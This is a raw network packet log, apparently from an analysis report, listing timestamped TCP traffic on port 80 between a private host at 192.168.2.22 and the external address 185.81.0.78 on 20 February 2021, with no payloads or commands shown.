Feb 20, 2021 02:03:50.790833950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790838003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790855885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790914059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790919065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790955067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.790966034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.790977955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791002989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791013956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791016102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791039944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791062117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791064978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791083097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791089058 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791102886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791121006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791130066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791153908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791173935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791177034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791193008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791213036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791222095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791249990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791264057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791282892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791292906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791321993 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791336060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791359901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791361094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791383982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791402102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791409016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791420937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791446924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791456938 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791471004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791488886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791497946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791508913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791522026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.791543961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791563034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.791692972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.847167969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.847194910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.847212076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.847229958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.847352982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848238945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848284006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848300934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848357916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848376989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848392010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848406076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848407984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848423958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848434925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848445892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848450899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848464966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848469973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848486900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848488092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.848509073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.848524094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.849050045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.849071026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.849097967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.849114895 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.849477053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.849498034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.849517107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850291967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850313902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850330114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850353003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850367069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850388050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850389957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850404978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850420952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850426912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850435972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850441933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850457907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850471020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850485086 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850502014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850527048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850538969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850594044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850610018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850627899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850635052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850645065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850646019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850667000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850680113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850754976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850770950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850785971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850799084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850804090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850817919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850836992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850874901 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850891113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850905895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850915909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850923061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850930929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850954056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850963116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850970030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850986958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.850989103 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.850992918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851005077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851016045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851026058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851032972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851048946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851056099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851068974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851083040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851155043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851172924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851188898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851197004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851211071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851222992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851236105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851252079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.851274014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851285934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.851948023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909131050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909244061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909293890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909373999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909393072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909439087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909467936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909504890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909523010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909549952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909559011 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909599066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909615993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909637928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909650087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909704924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.909836054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909951925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.909970045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910007000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910008907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.910059929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910193920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.910250902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910284042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.910357952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910406113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.910449028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.910459995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910494089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.910620928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.912806988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.912883043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.912902117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.912957907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.912971020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913008928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913031101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913074017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913089991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913125038 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913125992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913177967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913211107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913258076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913259983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913300991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913311958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913350105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913352013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913408041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913487911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913511992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913552046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913573027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913598061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913603067 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913650990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913676977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913727999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913762093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913815975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913815975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913861990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.913865089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913912058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.913960934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914011002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914057970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914107084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914186954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914232969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914237022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914287090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914326906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914376974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914383888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914428949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914436102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914473057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914478064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914516926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914519072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914563894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914587021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914624929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914634943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914673090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914676905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914719105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914731026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914762020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914769888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914807081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914808035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914855957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.914856911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.914906025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967406988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967457056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967525959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967566013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967602015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967606068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967633009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967649937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967670918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967703104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967719078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967758894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967787981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967794895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967813969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967833042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967861891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967869997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967899084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967930079 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.967935085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967981100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.967998981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968024015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968029022 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968061924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968075037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968106985 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968128920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968168020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968194962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968204975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968218088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968241930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968251944 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968277931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968281984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968343019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968458891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968508959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968530893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968561888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968576908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968616962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968643904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968655109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968667984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968693018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968698978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968764067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968767881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968810081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968836069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968857050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968862057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968900919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.968926907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968961000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.968972921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969019890 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969029903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969059944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969077110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969098091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969108105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969153881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969172955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969222069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969240904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969264984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969269037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969302893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969316006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969347000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969367981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969435930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969458103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969475985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969507933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969513893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969543934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969549894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969568014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969604015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969644070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969681025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969698906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969727039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969727993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969779968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969791889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969830990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969856977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969868898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969885111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.969908953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.969911098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970047951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:50.970051050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970093012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:50.970120907 CET	49165	80	192.168.2.22	185.81.0.78
